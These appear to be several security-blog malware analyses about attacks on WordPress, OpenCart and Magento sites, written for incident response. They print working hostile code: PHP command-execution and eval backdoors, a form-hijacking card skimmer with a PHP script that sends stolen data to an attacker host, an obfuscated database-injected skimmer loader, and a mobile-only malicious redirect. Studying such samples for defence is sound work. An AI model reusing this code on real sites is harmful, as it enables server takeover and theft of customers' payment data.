Backdoor abusing of PHP tricks

During an incident response process, we found a very interesting malicious code abusing some PHP tricks. Attackers placed the malware at the end of a WordPress core file ‘./wp-includes/pomo/entry.php’:

$data=file_get_contents("php://input");echo`$data`;


Although a very small code, the snippet above can actually be a powerful backdoor if shell_exec is enabled on the server. Let’s analyze its two steps for remote code execution:

$data=file_get_contents("php://input");

This part is a known way for backdoors to get data from a POST request. The PHP documentation explains what that php://input stands for:

.

php://input is a read-only stream that allows you to read raw data from the request body. 
In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA
as it does not depend on special php.ini directives.
Moreover, for those cases where $HTTP_RAW_POST_DATA is not populated by default, it is a
potentially less memory intensive alternative to activating always_populate_raw_post_data.
php://input is not available with enctype="multipart/form-data".

Once we assign a value to the $data variable, we can now take a closer look on the second step:

echo`$data`;

The main detail here is the use of backticks (they’re not single quotes!), which have a special purpose on such php code. See what PHP documentation says about them:

PHP supports one execution operator: backticks (``). Note that these are not single-quotes! 
PHP will attempt to execute the contents of the backticks as a shell command;
the output will be returned (i.e., it won't simply be dumped to output;
it can be assigned to a variable).
Use of the backtick operator is identical to shell_exec().

So in that last part of the code, we’ll have the command stored in $data executed like shell_exec($data) before it’s echo’ed. Using this method, attackers can execute arbitrary remote commands into the system and reinfect it while the code is still active.

As the malware was inserted into a WordPress core file, this could have been easily detected by the file integrity monitoring system in our Sucuri Scanner WordPress Plugin and addressed very quickly. We also recommend keeping regular backups just in case you need to revert your website to an earlier clean stage.

If you need professional assistance on cleaning up malware and backdoors, please let us know, we would be happy to help you.

Backdoors abusing of spaces

Lately we’ve seen more backdoors that have some specific characteristics, like using several spaces between the code and processing information coming from POST requests. Attackers use the “spacing” technique to avoid visual detection in text editors when the “word wrapping” function is deactivated.

The backdoors we are discussing today have been found mainly in WordPress platforms. Although they may have different names and can be placed in different directories, most of them can be found residing on the website’s root having a name like framework.lovely.php, framework.railroad.php, framework.ping.php and so on.


The following images are the two main variations of this malware:

1st sample - ./class.football.php

2nd sample - ./wp-content/mu-plugins/framework.terrible.php

Although they look different, their functionality is very similar. On the first sample, they import the PHP variables ($d, $f, $s and $m) into the current symbol table from $_POST through the extract PHP function, while the second sample gets the information directly from the HTTP POST variables.

Checking the second sample closer, the file was placed inside the wp-content/mu-plugins directory. That is the WordPress’s Must Use Plugins, so the backdoor was being loaded along with mu-plugins directory (no direct access to the file was needed). However, if no variable was sent via HTTP POST method, the website would return a “white screen of death” due to the exit; call in line 18.

Giving an even closer look at it, you can guess with a high chance of being correct, which functions are set as values for those r, d and f variables: “eval”, “implode”, and “array”, respectively. The c value can be the elements of an array that will be joined to create the command to be executed.

If you want to be sure that you don’t have any of those backdoors on your website or if you need help cleaning it up, let us know.

Session Stealer Script on OpenCart CMS

With so many open-source ecommerce platforms available in the market, creating an online shop is as easy as ABC. In less than five minutes you can set up your very own online storefront and offer physical and digital products for sale.

In this note I will present a malware infection on OpenCart, a powerful e-commerce shopping cart that provides great tools with minimal investment. Although its platform is simple to install and use, it doesn’t mean that you are protected against different kinds of malicious codes focused on intercepting and stealing sensitive data from your customers (credit card).


This time around, the malware we found worked as a session stealer in a way that attackers could get access to valid sessions of the checkout page and intercept sensitive credit card information. It is worth mentioning that this code is not specifically designed for OpenCart; there are different variations of this malicious script also being used in Magento websites as well.

Going deeper into the analysis itself, the first call to the malicious function had been done at ‘catalog/view/javascript/jquery/jquery-2.1.1.min.js’:

function send() {
var btn=document.querySelectorAll("button, input, submit, .btn, .button");
for (var i=0;i<btn.length;i++) {
var b=btn[i];
if(b.type!='txt' && b.type!='select' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {
if(b.addEventListener) {
b.addEventListener("click", clk, false);
} else {
b.attachEvent('onclick', clk);
}
}
}
var frm=document.querySelectorAll("form");
for (var i=0;i<frm.length;i++){
if(frm[i].addEventListener) {
frm[i].addEventListener("submit", clk, false);
}else {
frm[i].attachEvent('onsubmit', clk);
}
}
if(snd!=null) {
console.clear();
var gc = new RegExp("[0-9]{13,16}");
var cl="0";
if(gc.test(snd)) {
cl="1" ;

var http = new XMLHttpRequest();
http.open("POST","/system/startup.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("data="+snd+"&cl="+cl);
console.clear();
}

The file “jquery-2.1.1.min.js” had been completely modified and if you notice at the functions ‘send()’ and ‘clk()’, they were injected there to intercept button clicks and form submits (user interaction). This hijack allows the attackers to collect the names and content of every common form input element and send all the information via a $_POST request through the “startup.php” file.

Although "startup.php" is a default OpenCart file, this file had also been compromised and here is a snippet of it:

<?php
error_reporting(0);
$id=base64_encode('runrhody');
$url='hxxp://200.x.x.x/404/receiver.php';
if(!isset($_COOKIE["SESSIID"])){
$rand=rand(1,9999999999);
setcookie("SESSIID", $rand,time()+3600);
}else $cookie=$_COOKIE["SESSIID"];
$url=$url.'?a='.$cookie;
$data=base64_encode(serialize(array('request'=>$_REQUEST,'ip'=>$_SERVER['REMOTE_ADDR'],'ua'=>$_SERVER['HTTP_USER_AGENT'],'cookie'=>$cookie,'date_unix'=>time())));
$opts = array('http' => array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query(array('utms'=>$id,'utmc'=>$_REQUEST['cl'],'data'=>$data))));
$context = stream_context_create($opts);
file_get_contents($url, false, $context);
?>
<?php
// Error Reporting
error_reporting(E_ALL);

The code receives the stolen information from the jquery mentioned above and sends all the data to the attacker’s URL defined in the variable $url.

Is there a solution to avoid these thefts? Sure there is! Merchants need to understand that they are responsible for the processed data and should do everything they can to secure their environment. The answer to this is hidden behind PCI Compliance. 10, our Founder / CTO, released a nice intro to ecommerce and PCI Compliance post recently that you should definitely read if your website/business relies on an e-commerce platform.

If you run OpenCart or any other platform, we recommend checking out our Sucuri Firewall to protect your site from attacks and compromises.

WP Marketplace Attack in the Wild

A few days ago, colleagues from White Fir Design disclosed an arbitrary file upload vulnerability in the WP Marketplace plugin and helped remove it from the official repository (at least until a patched version becomes available). They mentioned that they noticed attempts to exploit vulnerabilities of that plugin in the wild. Specifically, they noticed requests to the /wp-content/plugins/wpmarketplace/css/extends_page.css file - this way hackers could figure out whether the plugin was installed or not.

We checked our Website Firewall logs and confirmed that the WP Marketplace vulnerability is now a part of a hacker's toolkit. When they detect sites with the installed plugin, they try to exploit the vulnerability and upload backdoors.


xx.xxx.xxx.xxx - - [14/Oct/2016:21:09:30 -0400] "POST /wp-admin/admin-post.php?task=wpmp_upload_previews HTTP/1.1" 403 4358 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6" ..."POSTLOG:--ccfa908a0cc6432a8edc830bbe10c153x0Dx0AContent-Disposition: form-data; name=x22Filedatax22; filename=x22ggyy.phpx22x0Dx0AContent-Type: image/phpx0Dx0Ax0Dx0A<?phpx0Dx0A    $qV = x22stopx22;x0Dx0A    $s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);x0Dx0A    if (isset(${$s20}['x2nm3'])) {x0Dx0A        eval(${$s20}['x2nm3']);x0Dx0A    }x0Dx0A?>x0Dx0A--ccfa908a0cc6432a8edc830bbe10c153--x0Dx0A"

Here’s a more readable version of the backdoor code

$qV = "stop";$s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);if (isset(${$s20}['x2nm3'])) {  eval( ${$s20}['x2nm3']);}

This simple backdoor is used in many other attacks. It executes arbitrary PHP code passed in the x2mn3 POST parameter. If you don’t see the POST keyword in the code above, it’s because of the simple obfuscation in the first two lines of that convert the lowercase word "stop_" into an uppercase string "_POST", which later converted to $_POST using the ${$s20} construction.

The WordPress Marketplace was not popular (less than 500 installations according to the plugin directory web page found in Google’s cache). However, this didn’t make it unsuitable for site attacks. Of course, it is not as valuable for hackers as vulnerabilities in popular plugins installed on every other site, but if your toolkit comprises of hundreds of smaller vulnerabilities, the success rate will be comparable. That’s why plugin developers shouldn’t neglect best security practices even when developing small plugins. If you submit it to a public repository you are responsible for the security of websites that install it. Webmasters also should not forget that their site is only as secure as its least secured component (plugin in this case). Make sure that you only use really necessary plugins and keep them all up to date.

To prevent attacks that exploit vulnerabilities in your site software, we suggest using a Web Application Firewall (WAF).

If your site was infected by this or other malware, make sure to read our comprehensive guide on how to clean a hacked WordPress site.

Mage.js CC Stealer. The Database Version.

Every day we find many Magento credit card stealers injected into different files: modules, core files, themes. Magento database is not an an exception.

For example, this credit card stealer was found in the core_config_data table. The obfuscated database injection begins with the following code:


<script>var _0x7539=["x6Cx6Fx63x61x74x69x6Fx6E","x74x65x73x74","x6Fx6Ex65x70x61x67x65x7Cx63x68x65...x6Fx6Ex65x73x74x65x70x7Cx66x69x72x65x63x68x65x63x6Bx6Fx75x74"...

It loads an external script from js-save .link/js-save/mage.js into pages with payment forms to intercept data entered there.

var _0x7539=["location","test","onepage|checkout|onestep|firecheckout","<script src="https://js-save .link/js-save/mage.js"></script>...

The mage.js code sends intercepted data to the mag.php script on the same malicious js-save .link site.

The injected script has one more part (also encrypted). It prepares the payment form for data theft. Here is the decoded second part of the DB injection:

setInterval(function() {  if (!document.getElementById("payment_form_ccsave")) {     ShowForm("checkout-payment-method-load")   }}, 100);function ShowForm(elem) {  if (document.getElementById(elem)) {        var node = document.getElementById(elem);       while (node.firstChild) {           node.removeChild(node.firstChild)       };              node.insertAdjacentHTML("beforeend", htmlCCForm)  }}

This code checks if the payment form has the “pay with credit card” method. If it is absent, it adds this method (and the corresponding hardcoded HTML form) to the “checkout-payment-method-load" page element and removes all other payment methods to increase chances of victims choosing to enter their credit card details in the form. Once the form is prepared, the script from js-save .link will be able to successfully steal entered data.

This attack a new version of the attacks that previously used the js/lib/ccard.js file to inject similar scripts (usually not obfuscated). Back then they used the jquery-cdn . top and statsdot. eu domains.

Since this attack modifies the payment form, some infected sites may experience problems with payments. If your customers report that payment form won’t work or have strange behavior, it may be a sign of infection and you need to thoroughly check all files and the database. Pay a special attention to files like: app/code/core/Mage/Payment/Model/Method/Cc.php and js/lib/ccard.js, and to the design/head/includes rows of the core_config_data table. You might also want to check the Ecommerce Security section of our blog where we regularly share details of attacks on ecommerce sites.

If your site is hacked and you need help in cleaning it, or you just want it to be regularly monitored for all sorts of security problems, make sure to check our Website AntiVirus service.

Magento as a Phishing Spam Sending Tool

The most typical reasons for Magento websites to get compromised are to steal credit card information or to find a way to divert payments to the attackers accounts but recently we have found a completely different objective that can be destructive for the reputation of your website.

When attackers exploit a vulnerability in your store and get admin user permissions, they can easily add new comments to all orders (both completed and pending). Magento emails the comments to customers and hackers abuse this feature to send out phishing emails.

Here is what they currently send out:


<http://www.CompromisedSite .com/>            Your order #100007891 has been updated to: CompleteAttention! Your payment has been declined. Full information -hxxp://www.PhishingDomain .com/eBay/  You can check the status of your orderby logging into your account <https://www.CompromisedSite .com/customer/account/>.

If there are 10,000+ orders on your website, this means that 10,000+ emails will be sent all of a sudden and all of those emails will include a link to a phishing domain. And if an attacker managed to compromised multiple Magento sites, the volume may be comparable to real mass spamming tools. However, in case of emails sent by Magento, the credibility may be higher since people already know the sites they received the emails from and the emails contain their valid order numbers.

There is not much can be done by webmasters once the attackers are in. As a partial mitigation, you can configure your server quota on how many emails can be sent daily, so that only a few number of your customers will actually receive the phishing emails before you notice it.

This kind of attacks can have a very severe impact on your website’s reputation. All your old and regular customers will find out (unless they don’t spot the scam in the emails) that your site is compromised. It shows how important it is to keep your store constantly patched and protected.

Targeting mobile devices the easy way

With the outburst of mobile-only malware, we’re seeing a lot of mobile-devices targeted campaigns in last years. There are lot of ways how to make sure that the malware / redirect will be activated only on such a device, including mobile-platform UserAgent detection and similar.

Our analyst 12 noticed, however, one unbelievably simple method. What’s the main difference between mobile and your computer? Yes, the screen size…

<script type="text/javascript"> 
if (screen.width <= 480) {
window.location = "http://malicious-domain-replaced.com/43ee0b11-0ec3-4bcf-b6a7-7f14895df667";
}
</script>

The redirect was activated only when the site with it was opened on a small screen (which is a really nice indicator of a mobile device).

Mobile times are here and the attackers know that. We should be aware of our devices security and that each of us is targeted through our little electronic friends. As webmasters, we should know that if we don’t see malware on their sites maybe it’s just because the malware targets a different device. Stay safe!